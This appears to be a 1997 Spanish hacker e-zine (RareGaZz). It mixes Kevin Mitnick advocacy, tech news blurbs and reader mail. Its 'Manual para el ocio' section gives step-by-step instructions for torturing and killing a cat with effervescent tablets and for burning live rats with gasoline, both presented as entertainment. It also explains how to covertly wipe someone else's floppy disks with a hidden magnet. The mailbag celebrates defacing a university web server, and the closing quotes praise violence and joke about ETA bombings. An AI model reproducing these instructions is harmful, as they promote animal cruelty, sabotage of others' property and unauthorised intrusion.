de una tal Fernanda Serpa, activista de los derechos humanos en Amnistia Internacional. Coño! Ya me parecia que no podia ser yo el unico en considerar excesivas las condiciones de encarcelamiento de Kevin Mitnick. Por lo visto, Fernanda con algunos compañeros de A.I. estan montando una campaña a nivel mundial para exigir a las autoridades norteamericanas que se cumpla la ley en el caso de Mitnick. Quien es Kevin Mitnick, y que porras hace en la carcel? ------------------------------------------------------- Kevin David Mitnick, nacido en Van nuys, California el 06/08/63. Arrestado el 15 de febrero de 1994 por la supuesta violacion de los terminos de su libertad condicional y acceso no autorizado a sistemas de comunicacion entre otras acusaciones. Hoy se halla detenido en el Metropolitan Detention Center de Los Angeles, California (sin haber sido juzgado). Quiza algunos se acuerden de su detencion, fue muy sonada y salio en todos los periodicos y en la television. La policia, y la prensa en general, lo describia como el "mayor delincuente informatico de la historia" y una amenaza que debia ser atajada a cualquier precio. La realidad es un poco distinta... Es un hecho indiscutible el que Kevin accedio de forma ilegal a informacion en formato electronico. Es decir, hizo lo mismo que hacen a diario millones de webmasters (el que no me crea, que mire aqui), lo que hace cierta empresa de informatica muy conocida con el registro "on line" de su ultimo producto estrella, lo que se hace a diario con los cookies del Netscape y un largo y lamentable etcetera. Como digo, es indiscutible el que Kevin cometio un delito; no obstante no es menos indiscutible el hecho de que su detencion fue realizada de forma ilegal, contrariando la Declaracion Universal de los Derechos Humanos (en especial los articulos V, VI, VII, VIII, X, XI-1 y 2) asi como la Constitucin Norteamericana. La gran "caceria electronica" llevada a cabo contra Kevin dejo muy clara la tenue linea que separa los derechos constitucionales de privacidad del cumplimiento de la ley, que al parecer fue sistematicamente violada en nombre de la captura del "super criminal" Kevin. Malos Tratos ----------------------- Nadie debe ser privado de vida, libertad o propiedad sin un juicio justo. Constitucion de los EEUU Kevin ya vio sus derechos violados en su anterior detencion (tambien por delitos electronicos) en diciembre de 1988. Le fue negada la fianza a pesar de que la ley federal afirma que ello solo se podra hacer con aquellos delincuentes considerados peligrosos para la sociedad: "acusados de crimenes violentos, crimen capital, o crimen relacionado con drogas que incluya una sentencia de mas de diez años." O sea, asesinos y traficantes son considerados menos peligrosos para la sociedad que Kevin. Claro esta que Kevin es un pringado (y encima judio) y no un O. J. Simpson... Kevin cuenta en el libro El juego del fugitivo - En linea directa con Kevin Mitnick: "Cumpli ocho meses en la solitaria del MDC (sic!). La solitaria era un infierno. Decian que yo era demasiado peligroso hasta para acercarme a un telefono. Solo me dejaban salir durante una hora al dia y me esposaban para ir al servicio, es igual que en las peliculas. Te tratan como a un animal. Joden a la gente..." Como esta Kevin ahora? No se sabe..., pero dado el trato indignante y desproporcionado que ha recibido antes, se puede uno temer lo peor. Un hacker de la vieja guardia --------------------------- Durante la gran caceria iniciada en noviembre de 1992 y que culmino con su detencion el 15 de febrero de 1994, Kevin siguio buscando empleo y haciendo chapuzas para sobrevivir. La motivacion de Kevin por la "pirateria electronica compulsiva" jamas ha sido el dinero. Nunca uso de forma criminal sus conocimientos. Kevin jamas incito o cometio actos de violencia. Kevin es un hacker. Segun la definicion de su biografo Jonathan Littman: "un hacker de la vieja guardia. Alguien que, con creatividad, persigue el conocimiento y la informacion." Es decir, se trata de uno de esos locos de la informatica (al igual que Brian Kernigham, Linus Torvahlds, Richard Stallman, Steve Jobs o Bill Gates) que han hecho posible la revolucion informatica que hoy estamos viviendo. Sin gente como ellos, hoy no existiria internet, no habria ordenadores personales y no existiria el tratamiento informatizado de la informacion que ha cambiado nuestras vidas. Unos han tenido suerte, otros se han jodido... Que puedes hacer? ---------------------------------- Limpiad el salivazo que lleva en la mejilla y desencadenar el corazon del mundo, y detened las fauces de las voraces carceles donde el sol retrocede. Las Carceles Miguel Hernandez (Orihuela 1910 - Reformatorio de Adultos, Alicante 1942) Si crees que hasta para tomar a alguien como cabeza de turco existen limites, si crees que el trato dado por el estado a Kevin es desproporcionado e indignante, puedes ayudarle. Puedes escribir a la Secretaria de Justicia (equivalente a Ministerio de Justicia) de los Estados Unidos exigiendo un juicio justo y unas condiciones carcelarias dignas para Kevin. Su direccion es: MS. JANET RENO United States Secretary of Justice Department of Justice 10th E. Constitution Ave, N.W., Room 4400 Washington, D.C. 20530 Tambien puedes escribirle a Kevin para darle animos (que falta le hace). Su direccin actual es: Kevin Mitnick 89950-012 PO BOX 1500 UNIT A South Los Angeles, CA 90053-1500 Si lo prefieres, puedes enviarle un email a Kevin. Los de la revista 2600 Magazine se encargaran de hacerselo llegar. Para mas informacion sobre el caso de Kevin, asi como otros similares, podeis mirar el web de la revista 2600 Magazine. ADELANTE, HACK THE WORLD RAREGAZZ, LA MEJOR RAZON PARA APRENDER A LEER... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% *** MANUAL PARA EL OCIO. *** POR 7.Sh1m4 Version 1 . 0 28/junio/97 Como hacer explotar a un gato desde sus entrañas. ------------------------------------------------- Dificultad: * - - - - Te has sentido mas de alguna vez asediado por esos bichos de tu vecino, el cual les llama cariñosamente "GATITOS"?, Has sentido los deseos de darles a esos bichos del demonio una muerte cruel y dolorosa ?, Pues a continuacion encontraras la mejor forma de realizar esos torcidos pero divertidos deseos. Materiales: - Un gato - 2 Alka-Setzer(se recomienda molidas u cualquier efervecente en polvo) - Un vaso a la mitad de agua - Un embudo. Preparacion: Mientras alguien sujeta al gato (procurando que el mismo tenga el hocico abierto), En el vaso con agua se echan los Alka- Setzer y rapidamente se vierte la mezcla en la garganta del felino con la ayuda del embudo. El resultado es espectacular, el felino se "infla" desde su interior, en algunos casos hasta llegan a "explotar", asi que ten cuidado si no quieres resultar manchado !!. Explicacion: El felino comun o domestico tiene los intestinos muy delgados, por esa razon no soporta la presion que ejerce el efervecente en los intestinos, lo cual provoca que reviente en el interior. Luciernagas Ratoniles. ---------------------- Dificultad: * * * - - Eres amante de esos bichitos de campo que brillan alegremente esos noches de verano?, odias a muerte a esas asquerosas y mugrientas ratas que acompañan esos hermosos dias ?, pues a continuacion podras conjugar el "brillo" de las luciernagas y a esas asquerosas ratas en mismo un resultado !!!!! Materiales: - Una jaula de rejillas - Una trampa para ratas - Un buen cebo para ratas - Un galon de Gasolina - Unos fosforos Preparacion: Para empezar necesitamos recolectar algunas ratas por medio de la trampa, yo recomiendo para cebo, un buen trozo de pan humedecido en algun caldo de carne. Rata que vaya siendo capturada, va ser trasladada a la jaula de rejillas (las cantidad de ratas que deseas "metamorfear" sera tu eleccion), una vez recolectadas las ratas, se procede a darles un buen baño con el galon de gasolina. una vez bañadas, tienes que hacer lo siguiente, Rapida y Coordinadamente!!, mientras dejas salir a cada rata, les lanzas un cerillo encendido!. El efecto es hermoso, ratas en llamas bricando tan vividademente que llegan a parecer e esas teirnes e indefensas Luciernagas !! Precaucion!!!: Ten cuidado que no estes impregnado tu tambien en gasolina, de preferencia, ejecuta los pasos en una zona desalojada o sin riesgos a incendiar, es preferible soltar de rata en rata, yo se bien que seria divertido soltarlas todas de una vez encendidas, pero podrias correr el riesgo que las ratas tomen su venganza avalanzandose sobre ti !!!!. Borrado de disquetes magneticos ajenos de forma discreta. --------------------------------------------------------- Dificultad: * - - - - Te sientes ofendido, decepcionado, con algun amigo o persona al no querer prestarte esos disquetes cuyo contenido (sean juegos, imagenes o datos) te interesaba ?, Si realmente quieres vengarte aunque pierdas el contenido de esos disquetes, sigue leyendo!!,... si no quieres perder esos contenidos, pues ve a "ARRASTRATE" ante el, a ver si te lo presta.... Materiales: - Un iman iman flexible (de preferecia rectangular) - Una camisa de manga larga (que no te duela hacerle un poquitin de daño) - Aguja e hilo del nismo color de la camisa - Un puñado de clips, o clavos. Procedimiento: El iman lo puedes consiguir muy facilmente, ya sea en algun cereal, en alguna agenda, etc... generalmente este tipo de imanes son muy usados en esas "Chucherias" que pegan a la puerta de refrigerador. Una vez obtenido el iman, se procede a verificar que lado es mas potente (solo en caso de que no este ya determinado, lo cual lo sabes por que un cara esta pintada siendo esta la cara debil), para eso, se deposita el iman sobre el puñado de clips o clavos, el lado que atraiga mas cantidad de clips o clavos, esa es la cara mas potente. Una vez determinada la cara, se procede con la ayuda de la aguja y el hilo a coser el iman a la manga de la camisa por dentro, teniendo en cuenta que el iman tiene que estar debajo de la muñeca y el lado dominante hacia afuera, ten en cuenta que no debe NOTARSE. Una vez preparada la camisa, A matar Disquetes !, solamente tienes que acercar el mayor tiempo posible tu iman oculto en la manga y LISTO! el disquete Murio !. Explicacion: Hay que recordar que la informacion grabada en los disquete de lleva a cabo por medio de pulsos electromagneticos en binario, la superficie del disquete solo sirve para mantener esas cargas almacenadas para posteriores lecturas. Asi que al acercar un disquete a una fuente magnetica o electromagnetica, la informacion en el disquete se Vuelve "loca" y se pierde irremediablemente !!! ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% EL NUEVO ROBO ~~~~~~~~~~~~~ Jovenes `genios' acusados de robo en-linea en los U.S. 09:05 p.m Nov 10, 1997 Eastern SAN FRANCISCO, Nov 10 - Cuatro jovenes hackearon su acceso a una compañia de ventas en linea, robaron numeros de tarjetas de credito y salieron de compras gastando $20,000 dolares en equipo para computadoras, dijo la policia el lunes. "Obviamente robar gorras no era suficiente para estos niños.." dijo James Cost, del departamente de policia en San Carlos, aproximadamente 20 millas (32 km) al sur de San Francisco. Los cuatro jovenes, todos de entre 14 y 16, fueron arrestados el viernes sospechosos de organizar el robo y fueron puestos a disposicion de sus padres, Cost dijo. No han sido formalmente acusados por su edad. La policia dijo que el fraude fue sofisticado, involvia hackear en un proveedor de servicio internet y despues hacia un negocio en internet de donde pudieron copiar los numeros de las tarjetas de credito. Usando estos numeros, salieron de compras prefiriendo equipo HIGH-TECH para computadoras, evitando la deteccion de la policia usando casas vacias para obtener sus compras. Solo hasta que un chico pidio algo a la puerta de su casa [estupido no?] la policia pudo capturarlos, pero ellos ya habian comprado equipo con valor de $5,000. Cost dijo que los jovenes eran extremadamente sofisticados, y pueden ser la nueva generacion de ladrones de este `crimen blanco' ya que cada vez mas y mas jovenes ponen sus ojos en internet para experimentar ganancias. "Esta es una nueva ola que estamos enfrentando," el dijo. ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% .oOo. .oOo. Noti-LOONS .oOo. .oOo. »» Groovy «« ^~^~^~ " Otros pueden tener noticias...nosotros lo tenemos TODO " .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. El nuevo episodio final de Beavis & Butthead saldra al aire el 28 de noviembre en MTV .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Phillips se prepara para sacar al mercado su nuevo drive de $600 dolares que permite grabar y borrar en un CD como si fuera un diskette. Los CD's deben ser especiales pero pueden ser leidos por cualquier unidad CD-ROM excepto lectores de CD para musica. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Finlandia, el hogar de Nokia y dueño del 40% de los celulares, esta equipando maquinas de Coke y cajas de musica para aceptar instrucciones por el telefono para cargar los gastos al dueño de la cuenta celular. { Distintas oportunidades de fraude abiertas para los hackers... } .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. CBS volvera a sacar al aire el episodio donde Murphy Brown fuma marijuana el 24 de noviembre. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Apple anuncio que comenzara a vender PC hechas para el usuario desde internet como ya lo hace Dell en http://www.dell.com/store/index.htm .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Microsoft esta empezando a amenazar cualquier cosa con `NT' en sus nombres, incluyendo el sitio `NTsecurity.com' y `ScanNT' . . . . Microsoft no tiene los derechos legales de `NT' solo, unicamente de `Windows NT'. Por eso los abogados podrian perder si se van a corte. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Neoptx comenzo a vender los nuevos lentes `despega y pega'. Los plasticos adhesivos pueden convertir cualquier tipo de lentes en lentes de lectura. Existen 10 niveles, cada uno cuesta $25 dolares y se pueden ordenar por internet en: http://www.neoptx.com/noframes/optx.html Tambien existen modelos disponibles para buzos y lentes de seguridad (goggles). El sitio tambien contiene el primer test para la vista en linea. http://www.neoptx.com/noframes/eyetest/eyetest.html .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Los cuerpos de los 3 doctores que operaron al `Rey de los Cielos' el narcotraficante Amado Carrillo Fuentes y que despues lo mataron accidentalmente al inyectarle despues de la operacion, han sido encontrados. Estaban extremadamente torturados, quemados y metidos dentro de 3 barriles llenos de concreto y fueron dejados a un lado de una carretera mexicana. { hablemos de *nuevos* metodos de tortura } .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Esta navidad, Macy's de New York City elimino su tradicional aldea de madera y la reemplazo por una version high-tech llamada `La aventura de Santa Claus'. Ahi habra suelo con movimiento, arboles animados, maquinas de dulce interactivas y un robot que habla. Santa seguira estando. { por ahora } .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Sheraton anuncio que pondran internet en las televisiones de sus hoteles. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. En una exhibicion de sus pinturas, Yoko Ono puso un anuncio diciendo: `Nadie puede decirte que no toques el arte.' Asi que un tipo de Seattle de 22 años hizo lo que el llamo `arte participe' y se puso a rayar con un plumon rojo por todos los cuadros con valores estimados de $10,000 dolares. Le han sido cobrados. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. La fabrica de modems Diamond acaba de lanzar su nuevo modem de 112kbps que usa dos lineas telefonicas. Esta nueva clase de modems se espera que sean un exito cuando 3Com y Hayes saquen sus versiones. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. http://pathfinder.mail.com/member/login.page Otra compañia mas ofrece correo electronico gratuito basado en web. Este servicio te permite escoger de entre 4 terminaciones para tu email. Por $15 dolares puedes conseguirte una terminacion mejor. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Dos nuevas lunas en Urano han sido descubiertas. Ahora tiene 17. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. http://www.well.com/user/cynsa/newbutt.html No son noticias, pero el sitio web `Rectal Foreign Bodies' tiene documentados todos los casos en los que a cadaveres se les han encontrado objetos extraños en el recto. { >;-> } .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Oh! Querian GENTE en los aviones?? El aeropuerto de Denver, el unico en el mundo que puede hacer aterrizar a 3 aviones con cero visibilidad y que decia que podria ofrecer servicio en las peores condiciones atmosfericas fue cerrado en la pasada tormento debido a que unicamente cuenta con una carretera de acceso a los vehiculos que fue cerrada por la nieve. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Mattel continua atacando legalmente a TODOS los sitios que ofrezcan informacion sobre las muñecas Barbie. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Sony introdujo su nueva camara 10X zoom digital que resuelve el problema de la compatibilidad con las PC's. Esta nueva camara usa un floppy de 3.5" como rollo de pelicula. http://www.sel.sony.com/SEL/consumer/mavica/ Esta nueva camara almacena en el floppy hasta 40 imagenes en calidad standard de color 24 bit (640x480) en formato JPEG. La camara es compatible con todas las computadoras que usen esos diskettes incluyendo Mac, PC, OS2,e tc. Ademas incluye el software ArcSoft PhotoStudio que permite la manipulacion de imagenes. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Una organizacion de Seattle llamada Afterlife se ofrece, por un costo, a mantener tu sitio web despues de tu muerte. http://www.afterlife.org .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Los hackers en Manhattan se apoderaron por un dia de los mensajes parpadeantes en las estaciones del metro promoviendo el magazine The Hacker Quarterly. http://www.2600.com/index.html .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. En España, jueces en la mas reciente competencia por la copa de la Marijuana en Madrid tuvieron que fumar 10 muestras cada uno, pero despues tuvieron 24 horas para recuperarse antes de votar por algun ganador. . . . . La policia arresto a Javier Mestre, fundador del evento. Una corte española dictamino que era correcto sembrar marijuana para el consumo privado. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. 575,000 directorios telefonicos en el sur de Arizona fueron enviados al pueblo listando una linea de sexo de $1.99 el minuto que resulto ser el numero del Ministerio de Turismo de Mexico! El numero tuvo que ser cambiado por el ministerio dias despues. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Los tipos de Hotmail empezaron a ofrecer un servicio de tarjetas electronicas por 50 centavos cada uno ... existen cientos de lugares que ofrecen lo mismo gratis :-) http://www.wp.com/annag/ecards.htm .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Bajo presion la CIA (Central Intelligence Agency) tuvo que decir la cifra exacta que cuesta al pueblo norteamericano el espionaje: $26.6 billlones. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. IBM saco al mercado su nuevo disco de 8.1 gigabytes para las laptops. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. La semana pasada SUN demando a MICROSOFT por alteraciones a Java en el nuevo Explorer 4.0 { nada nuevo con estos chicos... } .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Yahoo compro Four11 y Rocketmail, ahora ofrece Yahoo! Mail http://www.four11.com/ http://www.rocketmail.com http://edit.my.yahoo.com/config/form?.form=main_mail&.src=ym&.done=/config/mail .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Seiko expandio el area donde vende su nuevo `Message-Watch' a las ciudades de New York City, Sur de California, Seattle, Portland y Las Vegas. El reloj es un beeper (pager), notifica de las llamadas recibidas en tu linea telefonica, correo electronico, mensajes de voz, ademas constantemente ofrece informacion como el clima y los numeros de loteria ganadores. Ademas, cualquier sitio web puede añadir un boton para que te manden un mensaje desde internet. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. La comision europea decidio no participar en los esfuerzos de Clinton para crear un algoritmo de encripcion standard que pudiera ser crackeado por las agencias de gobierno. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Un hacker irrumpio la seguridad del sitio de ValuJet insertando referencias a accidentes aereos y fotos dramaticas (un avion quemandose). El sito fue arreglado horas despues. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Edward DeHart, 71, fumador habitual, el hombre que creo la etiqueta de precaucion para los cigarrillos murio de cancer pulmonar. Hablando de `morir por la causa'. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Si quieres tu nombre de dominio y temes que haya sido escogido por otra persona visita http://www.websitez.com .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. "Aurora" es el nombre del proyecto de Netscape para dominar el control de la informacion en distintas plataformas. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Con un total de 40 billones de dolares Bill Gates encabeza la horrorosa lista de los mas ricos del mundo! segun el USA Today. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Los jugadores de Quake con modems rapidos y conexiones ISDN estan masacrando (literalmente) a los usuarios mas lentos causando sentimientos de frustracion en el mundo entero. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. American Online compro Compuserve. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. De acuerdo con una reciente encuesta en USA el 40% de los hogares tiene una computadora. { Entre esos tan solo el 5% sabe como usarla y el 3% de hecho la usa. :) } .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. NuMega anuncia SoftICE 3.2 el mas poderoso DEBUGGER para Windows NT y Windows 95. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. La estacion espacial Mir sera estrellada en el Pacifico y sus tripulantes pasaran a formar parte de la tripulacion de la nueva estacion espacial Alpha que sera terminada en 1999. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. El departamento de comercio rechazo una propuesta de las compañias de larga distancia estadounidenses para regular las llamadas por internet. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. La casablanca (www.whitehouse.gov) esta investigando como tomar accion legal contra www.whitehouse.com que cambio de un sitio de satira a uno de pornografia pesada. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Microsoft ha puesto de nuevo el tradicional doble-click en Explorer 4 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Bill Gates finalmente se mudo a su casa de $60 millones de dolares. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Una foto donde aparecia la princesa Diana muriendo en el carro accidentado hizo una breve apariencia en la red pero Geocities la borro inmediatamente argumentando que atentaba contra la moral. { vendo copias de la foto a 5 dolares c/u </BROMA> } .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Una aviso para las personas que viajan: Vietnam esta decomisando las mascotas electronicas Tamagochi. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. Un hacker capturo todos los mensajes que el Presidente Clinton recibio en su beeper en su visita a Philadelphia y han sido publicados. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. [ Probablemente esto se convierta en una nueva seccion pronto... ] El diccionario Larousse de internet. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Si desconoces algun termino usado en internet y quieres saber su significado puedes hacer una de estas cosas:meterte en irc y preguntar (nukez probables), inscribirte en una lista de correo preguntar y salirte, preguntar en un grupo de noticias O usar el nuevo diccionario en linea localizado en: http://whatis.com/ ~~~~~~~~~~~~~~~~~~ Donde podras encontrar terminos como "@" o "zipping". http://www.aint-it-cool-news.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ En este sucio sitio encontraras todo sobre Hollywood y sus mega-producciones asi como noticias del showbiz. Este sitio recibe 400,000 hits diarios y el creador (Harry Knowles) recibe 600 o mas email diarios de feedback que quedan clasificados como "llego" y "no llego" dependiendo de si contienen algo. Hologramas IN - Discos Magneticos OUT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Actualmente los medios de almacenamiento mas usados son los discos magneticos como el que probablemente tengas dentro de tu PC. Estos discos estan compuestos por un disco plano de aluminio o vidrio recubierto con un material que guarda cargas magneticas correspondientes a valores binarios 0 y 1. El esfuerzo que se ha puesto ultimamente en crear discos magneticos cada vez de mas capacidad tiene que terminar algun dia en lo que los fisicos llaman "el limite superparamagnetico". Cualquier intento en ir mas alla de este limite ocasionaria que un cero resultara uno y un uno un cero lo que ocasionaria que un comando hiciera otro comando y el otro otro... La alternativa? Hologramas! Un cubo no mayor que un grano de sal que contenga informacion almacenada en luz puede guardar mas de un millon de paginas y la informacion podra ser accesada inmediatamente. Mas informacion sobre este asombroso tema en el proximo numero... .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. " La violencia no lleva a nada .. excepto cuando hablamos de una revolucion. " Lennin/Marx " Hay ocasiones donde la violencia lo resuelve todo para los oprimidos... " El `Che' " Un NO al dialogo es un SI a la violencia." Zapatistas " Si ETA dejara de hacer coches bomba, ¿quien se acordaria de ellos? " RareGaZz ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% + B O O M E R A N G + ^ ^ ^ ^ ^ ^ ^ ^ ^ " Tu linea de comunicacion (lenta pero segura) con el Underground " Esta seccion nos sigue sirviendo para responder a sus preguntas y poner las colaboraciones o comentarios que se salen de cualquier otra seccion. ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ De: RareGaZz Nuestra lista de correo tiene demasiadas direcciones de email asi que si nos quieres ayudar, en caso de que tengas mas de una direccion tuya en nuestros registros envia un mail solicitando removerlas. Ayuda a eliminar la basura electronica. gracias. Por otro lado, raregazz se enorgullece en poner a su dispocision en nuestro `mirror site' en raregazz.islatortuga.com software tres equis y con el tiempo esperamos poner algunos links "chistosos". Debido a las restricciones no podemos poner links o software de este tipo en geocities. Respecto al hack en http://www.sal.itesm.mx le pedimos al autor (azumlord) que nos explicara sobre el mismo y nos dice: " Bien el hack ocurrio a las 2:00 p.m. el 27 de Septiembre,la pagina fue corregida al dia siguiente y el servidor duro caido 4 dias. la verdad lo hize con fines unicamente de diversion ademas de que en ese mismo servidor encontre archivos en uno de los directorios de los administradores, en los cuales al parecer estaban haciendo una tesis sobre seguridad y hackers. };-) " ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Hi rare me pregunto si podrias publicar el siguiente mensaje... Estoy a punto de lanzar una BBS (Renegade) en Ensenada donde tendre las ultimas noticias de RareGaZz asi como tambien MUCHO software necesario para internet y distintas aplicaciones. Comunicate conmigo para ser informado cuando este arriba y funcionando esta BBS. En esta misma ciudad estoy pensando organizar una reunion de 2 noches donde podamos juntarnos todas las personas de por 'aca (ensenada,tijuana,mexicali). Si estas interesado mandame un mail y te dare mas detalles y la lista de asistencia que incluye algunos colaboradores de raregazz. Tropi(c)o tr0p1c0@hotmail.com 